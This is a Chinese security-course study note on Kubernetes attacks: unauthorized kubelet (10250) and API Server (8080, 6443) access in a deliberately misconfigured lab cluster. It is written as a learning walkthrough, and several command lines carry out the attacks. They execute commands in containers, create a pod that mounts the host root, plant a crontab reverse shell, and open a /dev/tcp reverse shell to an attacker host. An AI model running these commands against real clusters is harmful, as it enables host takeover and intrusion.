小迪安全v2023学习笔记(九十七天)—— 云原生篇KubernetesK8s安全APIKubelet未授权访问容器执行
文章目录
- 前记
- 云上攻防——第九十七天
- 云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行
- 前置知识
- 什么是K8s?
- K8s安全
- 如何判断对方处于K8s?
- K8s环境搭建
- 云原生 - K8s安全-Kubelet未授权访问
- 攻击10250端口:kubelet未授权访问
- 云原生 - K8s安全-API Server未授权访问
- 1. 攻击8080端口:API Server(Master)未授权访问
- 2. 攻击6443端口:API Server(Master)未授权访问
前记
- 今天是学习小迪安全的第九十七天,本节课是K8s安全的第一节课,主要是围绕由于配置错误导致某些组件服务的未授权访问
云上攻防——第九十七天
云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行
前置知识
什么是K8s?
-
参考文章:这一篇 K8S(Kubernetes)我觉得可以了解一下!!! - 木子欢儿 - 博客园
-
说简单一点,K8s就是一个管理员,能够帮你自动管理很多个标准化的容器,让你的应用程序在任何地方都能够稳定运行
-
然后它的整体架构如下图所示:
-
这里有很多个专有名称需要解释一下:
-
Master节点:相当于一个总控制台,它负责整个集群的决策和调度,发现和响应集群的事件。一般会运行如下组件服务:
- etcd:用于持久化存储集群中所有的资源对象,API Server提供了操作 etcd的封装接口API,这些API基本上都是对资源对象的操作和监听资源变化的接口
- API Server:提供资源对象的操作入口,其他组件都需要通过它提供操作的API来操作资源数据,通过对相关的资源数据“全量查询”+ “变化监听”,可以实时的完成相关的业务功能
- Controller Manager: 集群内部管理控制中心,主要是实现
Kubernetes
集群的故障检测和恢复的自动化工作。比如Pod的复制和移除,Endpoints对象的创建和更新,Node的发现、管理和状态监控等等都是由Controller Manager
完成 - Scheduler: 调度器,负责Pod在集群节点中的调度分配
-
Node节点:分布出去的工作节点,它负责真正的运行Pod,当某个Node节点出现问题而导致宕机时,Master会自动将该节点上的Pod调度到其他节点。一般会运行如下组件服务:
- kubelet: 用于执行K8S的命令,也是K8S的核心命令,用于执行K8S的相关指令,负责当前Node节点上的Pod的创建、修改、监控、删除等生命周期管理,同时Kubelet定时“上报”本Node的状态信息到API Server里
- kube-proxy:是一个代理,充当这多主机通信的代理人,前面我们讲过Service实现了跨主机、跨容器之间的网络通信,在技术上就是通过kube-proxy来实现的,service是在逻辑上对Pod进行了分组,底层是通过kube-proxy进行通信的
- docker / containerd:Pod下面运行的实际容器应用,早期用docker,目前逐渐推荐直接使用containerd来代替
-
Pod:K8s控制的最小单元,一个Pod就是一个进程,上面可以运行单个或者多个容器,通常是完整的应用或模块服务
-
Service:每个Pod都是独立的整体,分配单独的IP地址,不同Pod之间不能够直接通信,需要通过Service组件进行连接交流
-
Label:一个说明性的标签,不同的Pod具有不同的功能,需要通过Label进行标注,便于后续筛选和查找
-
Replication Controller:存在于Master节点上,负责对Pod的数量进行监测,如果发现有缺失或者多余的Pod,就会自动复制添加或删除
-
-
K8s大概就是这么个情况,我们这里只是做简单的了解,对于之后的学习打下基础
K8s安全
-
参考文章:
- 云原生kubernetes安全[k8s渗透]
- 【云攻防系列】从攻击者视角聊聊K8S集群安全(上)
- 【云攻防系列】从攻击者视角聊聊K8S集群安全(下)
-
这三篇文章主要的攻击点都在如下这张图里面:
-
大致有12个攻击点,主要是集中在内外部访问安全、组件安全、容器安全、管理平台安全以及镜像安全
- 内外部访问安全:
- 外部:主要是针对一些未授权访问或者对外服务本身存在的安全问题,比如API Server、etcd、kubelet等
- 内部:主要是内部横向移动攻击安全
- 组件安全:这里针对的组件包括服务组件以及一些第三方组件的安全问题
- 容器安全:比如拿到了某个Docker容器或者Pod容器的Shell,可以实行提权、拒绝服务等攻击,也可以尝试容器逃逸到更高层的位置进行下一步攻击
- 管理平台安全:除了官方推出的Dashboard,还有很多K8s的管理平台,我们可以攻击的点有未授权、弱口令等等
- 镜像安全:通过上传一些恶意的镜像,让企业去下载利用实现入侵,也成为镜像投毒
- 内外部访问安全:
-
小迪这两节课也会围绕这些点去讲解K8s安全的内容
如何判断对方处于K8s?
- 主要就是看一些K8s的特殊端口是否开放,常见的特征端口如下:
K8s环境搭建
- 参考文章:CentOS 7.9 环境下搭建k8s集群(一主两从) - misakivv - 博客园
- 这里就跟着它安装就好了,然后出现的各种问题问一下AI即可,安装完成后是这个样子:
NAME | IP | 配置 |
---|---|---|
k8s-master | 192.168.0.130 | >=2G |
k8s-node1 | 192.168.0.131 | >=2核 |
k8s-node2 | 192.168.0.132 | >=20G |
- 当然实战中肯定不止一主两从这么小的K8s集群,这里只是举个最简单的情况来演示
云原生 - K8s安全-Kubelet未授权访问
攻击10250端口:kubelet未授权访问
-
Kublet会在10250/TCP开放端口暴露HTTPS API,一般用于汇报节点状态、拉取Pod日志/指标以及在容器中执行命令等,默认情况下有鉴权
-
但是如果方便其他人查看,可能会设置AlwaysAllow选项,造成未授权访问
-
比如这里我们没有设置AlwaysAllow选项,然后访问任意一个node节点的10250端口,他会提示
Unauthorized
,比如这里我们访问node1
:
-
但如果我们配置了这个选项:
vim /var/lib/kubelet/config.yaml# 修改为如下配置
authentication:anonymous:enabled: true
authorization:mode: AlwaysAllowsystemctl restart kubelet
-
然后我们再访问刚才的页面就会发现,能够获取到很多接口信息:
-
这里我们之前讲过,可以用Postman去导入然后批量测试,比如我们这里可以去获取运行中的Pod列表:
curl -k https://192.168.0.131:10250/runningpods
- 拿到它的信息为:
namespace: kube-system
pod: kube-proxy-qxpsl
container: kube-proxy
- 然后我们尝试在当前容器内执行任意命令:
curl -k -XPOST \"https://192.168.0.131:10250/run/<namespace>/<pod>/<container>" \-d "cmd=id"
- 当然这里它是处在Docker容器里面的,我们后续还需要进行容器逃逸,这是上节课的内容了
云原生 - K8s安全-API Server未授权访问
- 当然,除了Kubelet的错误配置可能会造成未授权之外,API Server的错误配置也可能造成未授权
1. 攻击8080端口:API Server(Master)未授权访问
- 旧版本的k8s的API Server默认会开启两个端口:8080和6443。6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0为旧版本)
- 新版本k8s默认已经不开启8080,需要更改相应的配置:
vim /etc/kubernetes/manifests/kube-apiserver.yaml# 添加如下内容:
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0systemctl restart kubelet
-
but。。。这里依旧没有成功,是因为新版K8s已经不支持该端口访问了,也就是说,1.16及以上的版本不存在该未授权漏洞了
-
那其实我们也没有演示的必要了,因为基本是遇不到了,如果真的遇到了,我们这里就简单用小迪的案例看看如何利用吧
-
在添加完这两行配置之后,我们访问8080端口,就能够获取很多接口:
-
接着就可以利用K8s官方的kubectl工具去获取相应信息,下载地址:安装工具 | Kubernetes
- 获取所有主机(nodes)节点:
kubctl.exe -s 192.168.0.139.130:8080 get nodes
- 获取所有容器(pods)节点:
kubectl.exe -s 192.168.139.130:8080 get pods
- 创建新的docker容器:
- 这里的目的是为了后边的容器逃逸做准备
kubectl -s 192.168.139.130:8080 create -f xiaodi.yaml
- 进入创建的docker容器:
kubectl -s 192.168.139.130:8080 --namespace=default exec -it xiaodi bash
- 容器逃逸获取宿主机Shell
# 把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab
- 等待一会就会收到反弹,但是收到的反弹shell不是master控制端的shell,而是下面的某个node(主机)节点的shell
2. 攻击6443端口:API Server(Master)未授权访问
-
目前能遇到的是这种,原本6443端口是需要认证才能访问的,直接访问会返回403:
-
但是一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
-
此时再访问6443端口,会发现我们能够获取大量的API接口:
-
然后我们就可以干坏事了,首先通过如下命令确定是否可匿名调用:
curl -k https://<目标>:6443/api
-
返回ok说明很大概率可以匿名调用,然后我们尝试获取所有pods:
-
这里能够返回JSON数据,说明已经完全沦陷,我们接着创建恶意的容器:
curl -k -X POST https://192.168.0.130:6443/api/v1/namespaces/default/pods \-H "Content-Type: application/yaml" \-d 'apiVersion: v1
kind: Pod
metadata:name: hack2
spec:containers:- image: ubuntu:22.04name: hackcommand: ["/bin/bash","-c"]args: ["bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1"]volumeMounts:- name: hostmountPath: /hostvolumes:- name: hosthostPath:path: /type: Directory'
-
回显如上内容,或者回显201都说明创建pods成功,接下来我们监听4444端口,等待pod被创建接收反弹Shell:
-
这里接收到的是node2的shell,因为我们的pod被挂载到了node2下: